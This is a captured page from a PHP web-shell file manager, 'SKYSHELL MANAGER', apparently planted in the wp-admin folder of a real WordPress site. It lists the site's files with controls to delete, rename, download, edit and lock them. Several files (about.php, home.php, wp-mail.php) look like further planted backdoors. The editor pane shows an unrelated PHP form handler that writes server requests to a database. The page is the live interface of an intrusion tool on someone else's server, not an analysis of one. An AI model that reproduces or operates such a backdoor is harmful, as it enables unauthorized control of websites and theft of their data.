📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-functions.php
0.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: existing_requirement_submit.php
<?php require_once 'config/auth.php'; require_once 'config/db.php'; error_reporting(E_ALL); ini_set('display_errors', 1); // 1. Ensure user is authenticated if (!isset($_SESSION['user'])) { header("Location: index.php"); exit(); } // 2. Block direct GET access if ($_SERVER['REQUEST_METHOD'] !== 'POST') { header("Location: existing-server-requirement.php"); exit(); } $user = $_SESSION['user']; $username = trim($_POST['username'] ?? $user['username'] ?? 'User'); $company = trim($_POST['company'] ?? ''); $department = trim($_POST['department'] ?? ''); $team = trim($_POST['team'] ?? ''); $class = trim($_POST['class'] ?? ''); $server_alias = trim($_POST['server_alias'] ?? ''); $server_action = trim($_POST['server_action'] ?? ''); $priority = !empty($_POST['priority']) ? trim($_POST['priority']) : null; $required_by = !empty($_POST['required_by']) ? $_POST['required_by'] : null; $notes = !empty($_POST['notes']) ? trim($_POST['notes']) : null; $status = 'Pending'; // Generate Unique Request ID (e.g., EX-RQT-7412) $generated_req_id = 'ES-' . rand(1000, 9999); // Basic validation if (empty($class) || empty($server_alias) || empty($server_action)) { $_SESSION['error'] = "Please fill in all required fields."; header("Location: existing-server-requirement.php"); exit(); } // 3. Insert into existing_server_requests $sql = "INSERT INTO existing_server_requests (request_id, username, company, department, team, class, server_alias, server_action, priority, required_by, notes, status) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)"; $stmt = $conn->prepare($sql); if ($stmt) { $stmt->bind_param( "ssssssssssss", $generated_req_id, $username, $company, $department, $team, $class, $server_alias, $server_action, $priority, $required_by, $notes, $status ); if ($stmt->execute()) { $inserted_id = $stmt->insert_id; // FIXED: Replaced non-existent $insertFields with direct check for $generated_req_id $display_id = !empty($generated_req_id) ? $generated_req_id : "#" . $inserted_id; // --- TIMELINE HISTORY LOGGING FIX --- try { $actorRoleFormatted = "User (" . $username . ")"; $actionNote = "Your request has been sent successfully"; // FIXED: Updated table check & query to point to existing_request_history $histCheck = $conn->query("SHOW TABLES LIKE 'existing_request_history'"); if ($histCheck && $histCheck->num_rows > 0) { $histSql = "INSERT INTO existing_request_history (request_id, from_status, to_status, action_notes, actor_role) VALUES (?, 'New', 'Pending', ?, ?)"; $histStmt = $conn->prepare($histSql); if ($histStmt) { $histStmt->bind_param("iss", $inserted_id, $actionNote, $actorRoleFormatted); $histStmt->execute(); } } } catch (Throwable $e) { error_log("Timeline Logging failed: " . $e->getMessage()); } $_SESSION['success'] = "Requirement submitted successfully! Request ID: " . $display_id; header("Location: existing-server-status.php"); exit(); } else { $_SESSION['error'] = "Failed to submit request: " . $stmt->error; header("Location: existing-server-requirement.php"); exit(); } } else { $_SESSION['error'] = "Database preparation error: " . $conn->error; header("Location: existing-server-requirement.php"); exit(); }
Save